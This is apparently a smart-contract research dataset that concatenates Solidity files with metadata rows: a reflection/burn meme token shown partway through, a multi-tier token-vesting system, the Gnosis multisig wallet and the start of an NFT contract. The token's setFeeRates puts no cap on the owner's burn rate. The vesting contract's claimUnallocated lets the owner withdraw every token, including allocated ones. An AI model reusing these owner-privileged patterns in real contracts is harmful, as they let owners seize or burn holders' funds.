mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tRfiFeeTotal;
uint256 private _tBurnFeeTotal;
string private constant _name = "Deflation MEME AI";
string private constant _symbol = "MEME AI";
struct feeRatesStruct {
uint8 rfi;
uint8 burn;
}
feeRatesStruct public feeRates = feeRatesStruct({rfi: 0,
burn: 3
});
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rBurn;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tBurn;
}
event FeesChanged();
constructor () {
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
emit Transfer(address(0), owner(), _tTotal);
}
//std ERC20:
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalRfiFees() public view returns (uint256) {
return _tRfiFeeTotal;
}
function totalBurnFees() public view returns (uint256) {
return _tBurnFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
//@dev kept original RFI naming -> "reward" as in reflection
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setFeeRates(uint8 _burn) public onlyOwner {
feeRates.burn = _burn;
emit FeesChanged();
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal = _rTotal.sub(rRfi);
_tRfiFeeTotal = _tRfiFeeTotal.add(tRfi);
}
function _takeBurn(uint256 rBurn, uint256 tBurn) private {
_tBurnFeeTotal=_tBurnFeeTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount.mul(feeRates.rfi).div(100);
s.tBurn = tAmount.mul(feeRates.burn).div(100);
s.tTransferAmount = tAmount.sub(s.tRfi).sub(s.tBurn);
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rBurn) {
rAmount = tAmount.mul(currentRate);
if(!takeFee) {
return(rAmount, rAmount, 0,0);
}
rRfi = s.tRfi.mul(currentRate);
rBurn = s.tBurn.mul(currentRate);
rTransferAmount = rAmount.sub(rRfi).sub(rBurn);
return (rAmount, rTransferAmount, rRfi,rBurn);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] && !_isExcluded[recipient]) { //from excluded
_tOwned[sender] = _tOwned[sender].sub(tAmount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient].add(s.tTransferAmount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) { //both excl
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(s.tTransferAmount);
}
_rOwned[sender] = _rOwned[sender].sub(s.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(s.rTransferAmount);
_reflectRfi(s.rRfi, s.tRfi);
_takeBurn(s.rBurn,s.tBurn);
emit Transfer(sender, recipient, s.tTransferAmount);
emit Transfer(sender, address(0), s.tBurn);
}
}
| 35,001 | 10,967 |
786b75faed1b92672b293bd4db78a4b87b73d4ac8a7e0930fd3062cfc1cb60d6
| 20,203 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x341ffd5852614e6a9189dc2931cb7ec3f10605b0.sol
| 4,427 | 17,834 |
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CommunityVesting is Ownable {
using SafeMath for uint256;
mapping (address => Holding) public holdings;
uint256 constant public MinimumHoldingPeriod = 90 days;
uint256 constant public Interval = 90 days;
uint256 constant public MaximumHoldingPeriod = 360 days;
uint256 constant public CommunityCap = 14300000 ether; // 14.3 million tokens
uint256 public totalCommunityTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
}
event CommunityVestingInitialized(address _to, uint256 _tokens, uint256 _startTime);
event CommunityVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 percentage = calculatePercentageToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) {
// how many 90 day periods have passed
uint periodsPassed = ((now.sub(_startTime)).div(Interval));
percentage = periodsPassed.mul(25); // 25% to be released every 90 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime)
external
onlyOwner
{
totalCommunityTokensCommitted = totalCommunityTokensCommitted.add(_tokens);
require(totalCommunityTokensCommitted <= CommunityCap);
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit CommunityVestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime);
emit CommunityVestingInitialized(_beneficiary, _tokens, _startTime);
}
}
}
contract EcosystemVesting is Ownable {
using SafeMath for uint256;
mapping (address => Holding) public holdings;
uint256 constant public Interval = 90 days;
uint256 constant public MaximumHoldingPeriod = 630 days;
uint256 constant public EcosystemCap = 54100000 ether; // 54.1 million tokens
uint256 public totalEcosystemTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
}
event EcosystemVestingInitialized(address _to, uint256 _tokens, uint256 _startTime);
event EcosystemVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 permill = calculatePermillToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(1000 - permill)).div(1000);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePermillToRelease(uint256 _startTime) internal view returns (uint256 permill) {
// how many 90 day periods have passed
uint periodsPassed = ((now.sub(_startTime)).div(Interval)).add(1);
permill = periodsPassed.mul(125); // 125 per thousand to be released every 90 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime)
external
onlyOwner
{
totalEcosystemTokensCommitted = totalEcosystemTokensCommitted.add(_tokens);
require(totalEcosystemTokensCommitted <= EcosystemCap);
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit EcosystemVestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime);
emit EcosystemVestingInitialized(_beneficiary, _tokens, _startTime);
}
}
}
contract SeedPrivateAdvisorVesting is Ownable {
using SafeMath for uint256;
enum User { Public, Seed, Private, Advisor }
mapping (address => Holding) public holdings;
uint256 constant public MinimumHoldingPeriod = 90 days;
uint256 constant public Interval = 30 days;
uint256 constant public MaximumHoldingPeriod = 180 days;
uint256 constant public SeedCap = 28000000 ether; // 28 million tokens
uint256 constant public PrivateCap = 9000000 ether; // 9 million tokens
uint256 constant public AdvisorCap = 7400000 ether; // 7.4 million tokens
uint256 public totalSeedTokensCommitted;
uint256 public totalPrivateTokensCommitted;
uint256 public totalAdvisorTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
User user;
}
event VestingInitialized(address _to, uint256 _tokens, uint256 _startTime, User user);
event VestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime, User user);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 percentage = calculatePercentageToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) {
// how many 30 day periods have passed
uint periodsPassed = ((now.sub(_startTime.add(MinimumHoldingPeriod))).div(Interval)).add(1);
percentage = periodsPassed.mul(25); // 25% to be released every 30 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime,
uint8 user)
external
onlyOwner
{
User _user;
if (user == uint8(User.Seed)) {
_user = User.Seed;
totalSeedTokensCommitted = totalSeedTokensCommitted.add(_tokens);
require(totalSeedTokensCommitted <= SeedCap);
} else if (user == uint8(User.Private)) {
_user = User.Private;
totalPrivateTokensCommitted = totalPrivateTokensCommitted.add(_tokens);
require(totalPrivateTokensCommitted <= PrivateCap);
} else if (user == uint8(User.Advisor)) {
_user = User.Advisor;
totalAdvisorTokensCommitted = totalAdvisorTokensCommitted.add(_tokens);
require(totalAdvisorTokensCommitted <= AdvisorCap);
} else {
revert("incorrect category, not eligible for vesting");
}
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit VestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime,
holdings[_beneficiary].user);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime,
_user);
emit VestingInitialized(_beneficiary, _tokens, _startTime, _user);
}
}
}
contract TeamVesting is Ownable {
using SafeMath for uint256;
mapping (address => Holding) public holdings;
uint256 constant public MinimumHoldingPeriod = 180 days;
uint256 constant public Interval = 180 days;
uint256 constant public MaximumHoldingPeriod = 720 days;
uint256 constant public TeamCap = 12200000 ether; // 12.2 million tokens
uint256 public totalTeamTokensCommitted;
struct Holding {
uint256 tokensCommitted;
uint256 tokensRemaining;
uint256 startTime;
}
event TeamVestingInitialized(address _to, uint256 _tokens, uint256 _startTime);
event TeamVestingUpdated(address _to, uint256 _totalTokens, uint256 _startTime);
function claimTokens(address beneficiary)
external
onlyOwner
returns (uint256 tokensToClaim)
{
uint256 tokensRemaining = holdings[beneficiary].tokensRemaining;
uint256 startTime = holdings[beneficiary].startTime;
require(tokensRemaining > 0, "All tokens claimed");
require(now.sub(startTime) > MinimumHoldingPeriod, "Claiming period not started yet");
if (now.sub(startTime) >= MaximumHoldingPeriod) {
tokensToClaim = tokensRemaining;
delete holdings[beneficiary];
} else {
uint256 percentage = calculatePercentageToRelease(startTime);
uint256 tokensNotToClaim = (holdings[beneficiary].tokensCommitted.mul(100 - percentage)).div(100);
tokensToClaim = tokensRemaining.sub(tokensNotToClaim);
tokensRemaining = tokensNotToClaim;
holdings[beneficiary].tokensRemaining = tokensRemaining;
}
}
function calculatePercentageToRelease(uint256 _startTime) internal view returns (uint256 percentage) {
// how many 180 day periods have passed
uint periodsPassed = ((now.sub(_startTime)).div(Interval));
percentage = periodsPassed.mul(25); // 25% to be released every 180 days
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime)
external
onlyOwner
{
totalTeamTokensCommitted = totalTeamTokensCommitted.add(_tokens);
require(totalTeamTokensCommitted <= TeamCap);
if (holdings[_beneficiary].tokensCommitted != 0) {
holdings[_beneficiary].tokensCommitted = holdings[_beneficiary].tokensCommitted.add(_tokens);
holdings[_beneficiary].tokensRemaining = holdings[_beneficiary].tokensRemaining.add(_tokens);
emit TeamVestingUpdated(_beneficiary,
holdings[_beneficiary].tokensRemaining,
holdings[_beneficiary].startTime);
} else {
holdings[_beneficiary] = Holding(_tokens,
_tokens,
_startTime);
emit TeamVestingInitialized(_beneficiary, _tokens, _startTime);
}
}
}
interface TokenInterface {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Vesting is Ownable {
using SafeMath for uint256;
enum VestingUser { Public, Seed, Private, Advisor, Team, Community, Ecosystem }
TokenInterface public token;
CommunityVesting public communityVesting;
TeamVesting public teamVesting;
EcosystemVesting public ecosystemVesting;
SeedPrivateAdvisorVesting public seedPrivateAdvisorVesting;
mapping (address => VestingUser) public userCategory;
uint256 public totalAllocated;
event TokensReleased(address _to, uint256 _tokensReleased, VestingUser user);
constructor(address _token) public {
//require(_token != 0x0, "Invalid address");
token = TokenInterface(_token);
communityVesting = new CommunityVesting();
teamVesting = new TeamVesting();
ecosystemVesting = new EcosystemVesting();
seedPrivateAdvisorVesting = new SeedPrivateAdvisorVesting();
}
function claimTokens() external {
uint8 category = uint8(userCategory[msg.sender]);
uint256 tokensToClaim;
if (category == 1 || category == 2 || category == 3) {
tokensToClaim = seedPrivateAdvisorVesting.claimTokens(msg.sender);
} else if (category == 4) {
tokensToClaim = teamVesting.claimTokens(msg.sender);
} else if (category == 5) {
tokensToClaim = communityVesting.claimTokens(msg.sender);
} else if (category == 6){
tokensToClaim = ecosystemVesting.claimTokens(msg.sender);
} else {
revert("incorrect category, maybe unknown user");
}
totalAllocated = totalAllocated.sub(tokensToClaim);
require(token.transfer(msg.sender, tokensToClaim), "Insufficient balance in vesting contract");
emit TokensReleased(msg.sender, tokensToClaim, userCategory[msg.sender]);
}
function initializeVesting(address _beneficiary,
uint256 _tokens,
uint256 _startTime,
VestingUser user)
external
onlyOwner
{
uint8 category = uint8(user);
require(category != 0, "Not eligible for vesting");
require(uint8(userCategory[_beneficiary]) == 0 || userCategory[_beneficiary] == user, "cannot change user category");
userCategory[_beneficiary] = user;
totalAllocated = totalAllocated.add(_tokens);
if (category == 1 || category == 2 || category == 3) {
seedPrivateAdvisorVesting.initializeVesting(_beneficiary, _tokens, _startTime, category);
} else if (category == 4) {
teamVesting.initializeVesting(_beneficiary, _tokens, _startTime);
} else if (category == 5) {
communityVesting.initializeVesting(_beneficiary, _tokens, _startTime);
} else if (category == 6){
ecosystemVesting.initializeVesting(_beneficiary, _tokens, _startTime);
} else {
revert("incorrect category, not eligible for vesting");
}
}
function claimUnallocated(address _sendTo) external onlyOwner{
uint256 allTokens = token.balanceOf(address(this));
token.transfer(_sendTo, allTokens);
}
}
| 133,766 | 10,968 |
7923689e758b6ec8687c4d739e448ac52e0769e244fb0470cb99fa418ea524b6
| 12,815 |
.sol
|
Solidity
| false |
347449338
|
BEAR-finance/bearland
|
040578e775402303532e6a3da4b4ea8b0e107fd8
|
Multisig.sol
| 2,718 | 12,496 |
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 248,428 | 10,969 |
200bdaef94e02671d2f4edf89fe72b013d09fdd19f61c291256d86510e562153
| 22,820 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/TH44M3Cc8k5seUFc3BBTLVvjEks5BtyiRV_NFT.sol
| 5,026 | 17,519 |
//SourceUnit: NFT.sol
// NFT
pragma solidity ^0.5.16;
library SafeMath {
